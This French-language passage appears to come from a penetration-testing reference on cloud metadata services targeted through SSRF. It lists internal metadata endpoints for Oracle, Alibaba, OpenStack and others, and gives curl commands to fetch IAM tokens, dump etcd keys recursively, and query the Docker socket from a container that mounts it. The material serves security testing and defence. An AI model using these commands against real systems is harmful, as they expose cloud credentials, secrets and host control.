curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
Documentation pour les services de métadonnées de diverses plateformes est décrite ci-dessous, mettant en évidence les méthodes par lesquelles les informations de configuration et d'exécution pour les instances peuvent être accessibles. Chaque plateforme offre des points de terminaison uniques pour accéder à ses services de métadonnées.

## Packetcloud

Pour accéder aux métadonnées de Packetcloud, la documentation peut être trouvée à : [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)

## OpenStack/RackSpace

La nécessité d'un en-tête n'est pas mentionnée. Les métadonnées peuvent être accessibles via :

- `http://169.254.169.254/openstack`

## HP Helion

La nécessité d'un en-tête n'est pas mentionnée ici non plus. Les métadonnées sont accessibles à :

- `http://169.254.169.254/2009-04-04/meta-data/`

## Oracle Cloud

Oracle Cloud fournit une série de points de terminaison pour accéder à divers aspects des métadonnées :

- `http://192.0.0.192/latest/`
- `http://192.0.0.192/latest/user-data/`
- `http://192.0.0.192/latest/meta-data/`
- `http://192.0.0.192/latest/attributes/`

## Alibaba

Alibaba offre des points de terminaison pour accéder aux métadonnées, y compris les ID d'instance et d'image :

- `http://100.100.100.200/latest/meta-data/`
- `http://100.100.100.200/latest/meta-data/instance-id`
- `http://100.100.100.200/latest/meta-data/image-id`

## Kubernetes ETCD

Kubernetes ETCD peut contenir des clés API, des adresses IP internes et des ports. L'accès est démontré par :

- `curl -L http://127.0.0.1:2379/version`
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`

## Docker

Les métadonnées Docker peuvent être accessibles localement, avec des exemples donnés pour la récupération d'informations sur les conteneurs et les images :

- Exemple simple pour accéder aux métadonnées des conteneurs et des images via le socket Docker :
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
- À l'intérieur du conteneur, utilisez curl avec le socket Docker :
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`

## Rancher

Les métadonnées de Rancher peuvent être accessibles en utilisant :

- `curl http://rancher-metadata/<version>/<path>`

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